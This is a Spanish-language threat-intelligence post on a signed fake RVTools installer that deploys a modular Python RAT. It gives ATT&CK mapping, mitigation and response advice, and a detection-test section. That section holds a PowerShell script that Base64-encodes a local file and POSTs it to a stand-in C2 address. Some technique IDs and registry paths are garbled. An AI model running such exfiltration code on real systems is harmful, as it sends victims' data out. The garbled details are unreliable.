SOC Prime Bias: Medio

29 May 2026 07:20 UTC

RVTools Mascarada: Cómo un Instalador Falso Firmado Despliega un RAT Modular de Python

Author Photo
SOC Prime Team linkedin icon Seguir
RVTools Mascarada: Cómo un Instalador Falso Firmado Despliega un RAT Modular de Python
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Un instalador MSI malicioso firmado con un certificado legítimo se hace pasar por la utilidad RVTools utilizada por los administradores de VMware. Una vez ejecutado, el instalador despliega un VBScript que lanza PowerShell para descargar un gran archivo ZIP de Dropbox. Ese archivo contiene un entorno Python portátil que ejecuta un RAT multifásico capaz de reconocimiento, persistencia y comunicación con servidores de comando y control codificados.

Investigación

El análisis rastreó el MSI a una acción personalizada de VBScript, Binary.MyScript.vbs, que decodificó un comando de PowerShell ofuscado. Ese comando descargó un winp.zip carga útil en %APPDATA%, extrajo componentes y scripts de Python como collector.py and Pmanager.py, y luego estableció persistencia a través de claves Run del registro y una tarea programada después del reinicio. Los investigadores también encontraron que el RAT cifró los datos recopilados con RC4 y enviaba señales a cinco direcciones IP fijas a intervalos de cinco minutos.

Mitigación

Las organizaciones deben aplicar una validación estricta de firma de código con comprobaciones en vivo de OCSP o CRL, bloquear la ejecución de MSI no confiables y monitorear las acciones personalizadas de VBScript sospechosas incrustadas en los paquetes del instalador. Los defensores también deben prevenir la ejecución automática de scripts descargados, observar nuevas entradas de claves Run y la creación de tareas programadas, y alertar sobre el tráfico saliente a direcciones IP codificadas desconocidas.

Respuesta

Si se detecta esta actividad, aísle inmediatamente el punto final afectado, recopile el MSI, el VBScript y los archivos de carga útil extraídos para el análisis forense, y elimine todos los artefactos de persistencia, incluidas las claves Run y las tareas programadas. Las direcciones IP de comando y control identificadas deben bloquearse en el cortafuegos, y se debe realizar una revisión más amplia de las credenciales y la actividad de Active Directory para determinar si ocurrió movimiento lateral.

"graph TB %% Class definitions classDef phase fill:#99ccff classDef technique fill:#ffcc99 classDef tool fill:#cccccc classDef artifact fill:#e0e0e0 classDef persistence fill:#c2f0c2 classDef c2 fill:#f9c2c2 classDef evasion fill:#f0e68c %% Phases phase_initial_access["<b>Phase</b>: Initial Access<br/><b>Action</b> – Victim executes a signed malicious MSI that masquerades as RVTools."] class phase_initial_access phase phase_execution["<b>Phase</b>: Execution<br/><b>Action</b> – MSI uses Msiexec to run a VBScript which launches a hidden PowerShell downloader."] class phase_execution phase phase_payload["<b>Phase</b>: Payload Deployment<br/><b>Action</b> – Archive is unpacked to a portable WinPython environment containing collector.py and manager.py."] class phase_payload phase phase_persistence["<b>Phase</b>: Persistence<br/><b>Action</b> – Python manager creates Registry Run key, Scheduled Task and Active Setup entry."] class phase_persistence phase phase_c2["<b>Phase</b>: Command and Control<br/><b>Action</b> – Collected data is archived, encrypted with RC4 and exfiltrated over HTTP POST to hardu2011coded IPs."] class phase_c2 phase phase_evasion["<b>Phase</b>: Defense Evasion<br/><b>Action</b> – Use of signed binaries, proxy execution, and character obfuscation to bypass detections."] class phase_evasion phase %% Techniques for Initial Access tech_user_execution["<b>Technique</b> T1204.002 User Execution: Malicious File<br/>Victim runs a malicious file they believe to be legitimate."] class tech_user_execution technique tech_masquerading["<b>Technique</b> T1036.001 Masquerading<br/>Binary is signed and named like a legitimate utility (RVTools)."] class tech_masquerading technique tech_trusted_dev_proxy["<b>Technique</b> T1127 Trusted Developer Utilities Proxy Execution<br/>Signed binary is used to bypass reputation checks."] class tech_trusted_dev_proxy technique %% Techniques for Execution tech_msiexec_proxy["<b>Technique</b> T1218.007 System Binary Proxy Execution: Msiexec<br/>Msiexec is invoked to run the malicious MSI."] class tech_msiexec_proxy technique tech_vbscript["<b>Technique</b> T1059.005 Command and Scripting Interpreter: Visual Basic<br/>Custom action launches a VBScript payload."] class tech_vbscript technique tech_powershell["<b>Technique</b> T1059.001 Command and Scripting Interpreter: PowerShell<br/>VBScript decodes and executes a hidden PowerShell download command."] class tech_powershell technique %% Techniques for Payload Deployment tech_archive_custom["<b>Technique</b> T1560.003 Archive Collected Data: Archive via Custom Method<br/>33u202fMB zip (winp.zip) is downloaded and unpacked to create a portable Python environment."] class tech_archive_custom technique %% Techniques for Persistence tech_registry_run["<b>Technique</b> T1037.004 Boot or Logon Initialization Scripts: Registry Run<br/>Registry Run key is created to launch manager.py at startup."] class tech_registry_run persistence tech_scheduled_task["<b>Technique</b> T1053 Scheduled Task/Job<br/>Daily scheduled task is created to run with SYSTEM privileges."] class tech_scheduled_task persistence tech_active_setup["<b>Technique</b> T1547.014 Boot or Logon Autostart Execution: Active Setup<br/>Active Setup entry is added to ensure execution for each user."] class tech_active_setup persistence tech_hijack_execution["<b>Technique</b> T1574 Hijack Execution Flow<br/>Scheduled task is used to hijack normal execution paths."] class tech_hijack_execution evasion %% Techniques for Command and Control tech_exfil_unencrypted["<b>Technique</b> T1048.003 Exfiltration Over Unencrypted Nonu2011C2 Protocol<br/>Data is sent via HTTP POST to hardu2011coded IP addresses."] class tech_exfil_unencrypted c2 tech_exfil_asymmetric["<b>Technique</b> T1048.002 Exfiltration Over Asymmetric Encrypted Nonu2011C2 Protocol<br/>Data is encrypted with RC4 before transmission."] class tech_exfil_asymmetric c2 %% Techniques for Defense Evasion tech_system_script_proxy["<b>Technique</b> T1216.002 System Script Proxy Execution: SyncAppvPublishingServer<br/>Trusted scripts act as proxies to hide malicious activity."] class tech_system_script_proxy evasion tech_system_binary_proxy["<b>Technique</b> T1218 System Binary Proxy Execution<br/>Signed utilities (Msiexec) are abused to bypass application control."] class tech_system_binary_proxy evasion %% Artifacts artifact_msi["<b>Artifact</b>: malicious_RVTools.msi<br/>Signed MSI used for initial access."] class artifact_msi artifact artifact_zip["<b>Artifact</b>: winp.zip<br/>Dropbox hosted archive containing portable WinPython."] class artifact_zip artifact artifact_python_env["<b>Artifact</b>: WinPython environment<br/>Contains collector.py and manager.py for reconnaissance."] class artifact_python_env artifact artifact_registry_key["<b>Artifact</b>: Registry Run Key<br/>HKCUSoftwareMicrosoftWindowsCurrentVersionRunWinPythonMgr"] class artifact_registry_key artifact artifact_scheduled_task["<b>Artifact</b>: Scheduled Task<br/>Name: WinPythonDaily, runs with SYSTEM."] class artifact_scheduled_task artifact artifact_active_setup["<b>Artifact</b>: Active Setup Entry<br/>HKLMSoftwareMicrosoftActive SetupInstalled ComponentsWinPython"] class artifact_active_setup artifact artifact_c2_ip["<b>Artifact</b>: C2 IP addresses<br/>Hardu2011coded IPv4 addresses contacted over HTTP."] class artifact_c2_ip artifact %% Connections phase_initial_access –>|uses| tech_user_execution phase_initial_access –>|uses| tech_masquerading phase_initial_access –>|uses| tech_trusted_dev_proxy phase_initial_access –>|delivers| artifact_msi tech_user_execution –>|executes| artifact_msi tech_masquerading –>|enables| artifact_msi tech_trusted_dev_proxy –>|bypasses| artifact_msi phase_execution –>|leverages| tech_msiexec_proxy tech_msiexec_proxy –>|runs| tech_vbscript tech_vbscript –>|launches| tech_powershell tech_powershell –>|downloads| artifact_zip artifact_zip –>|unpacked to create| artifact_python_env phase_payload –>|contains| artifact_python_env phase_persistence –>|creates| tech_registry_run phase_persistence –>|creates| tech_scheduled_task phase_persistence –>|creates| tech_active_setup phase_persistence –>|uses| tech_hijack_execution tech_registry_run –>|writes| artifact_registry_key tech_scheduled_task –>|creates| artifact_scheduled_task tech_active_setup –>|writes| artifact_active_setup phase_c2 –>|archives and encrypts data| tech_archive_custom tech_archive_custom –>|sends via| tech_exfil_unencrypted tech_exfil_unencrypted –>|uses| artifact_c2_ip tech_exfil_unencrypted –>|also uses| tech_exfil_asymmetric phase_evasion –>|applies| tech_system_script_proxy phase_evasion –>|applies| tech_system_binary_proxy tech_system_binary_proxy –>|facilitates| tech_msiexec_proxy tech_system_script_proxy –>|facilitates| tech_vbscript "

Flujo de Ataque

Ejecución de Simulación

Prerrequisito: La verificación previa al vuelo del Telémetro y Base de Referencia debe haber sido aprobada.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y el relato DEBEN reflejar DIRECTAMENTE los TTPs identificados y a generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa del Ataque y Comandos:
    Un adversario que ya ha establecido un punto de apoyo en la máquina de la víctima decide exfiltrar un pequeño conjunto de datos (por ejemplo, C:Tempsecret.txt). Para evitar activar alertas de tráfico saliente genéricas, el actor usa un PowerShell one-liner que realiza un HTTP POST directamente a una de las IPs de C2 codificadas (192.0.2.10). El comando se programa a través de una Tarea Programada de Windows para asegurar la persistencia (T1546.013). No se sueltan binarios adicionales, manteniendo la actividad “viviendo de la tierra”.

  • Script de Prueba de Regresión:

    # -------------------------------------------------
    # Script de PowerShell – Exfiltración de datos a través de IP codificada
    # -------------------------------------------------
    $c2Ip   = "192.0.2.10"
    $c2Port = 80
    $uri    = "http://$c2Ip/exfil"
    $file   = "C:Tempsecret.txt"
    
    # Asegura que el archivo existe (cree datos ficticios para la prueba)
    if (-Not (Test-Path $file)) {
        "datos sensibles $(Get-Date)" | Out-File -FilePath $file -Encoding ASCII
    }
    
    # Lee el contenido del archivo y lo codifica en Base64
    $payload = [Convert]::ToBase64String([IO.File]::ReadAllBytes($file))
    
    # Realiza el HTTP POST
    $body = @{ data = $payload }
    try {
        Invoke-WebRequest -Uri $uri -Method POST -Body $body -UseBasicParsing -TimeoutSec 10
        Write-Host "Intento de exfiltración enviado a $c2Ip"
    } catch {
        Write-Error "Exfiltración fallida: $_"
    }
  • Comandos de Limpieza:

    # Remover el archivo ficticio
    Remove-Item -Path "C:Tempsecret.txt" -Force -ErrorAction SilentlyContinue
    
    # Eliminar cualquier tarea programada creada para la prueba (si la hay)
    $taskName = "DataExfilTask"
    if (Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue) {
        Unregister-ScheduledTask -TaskName $taskName -Confirm:$false
    }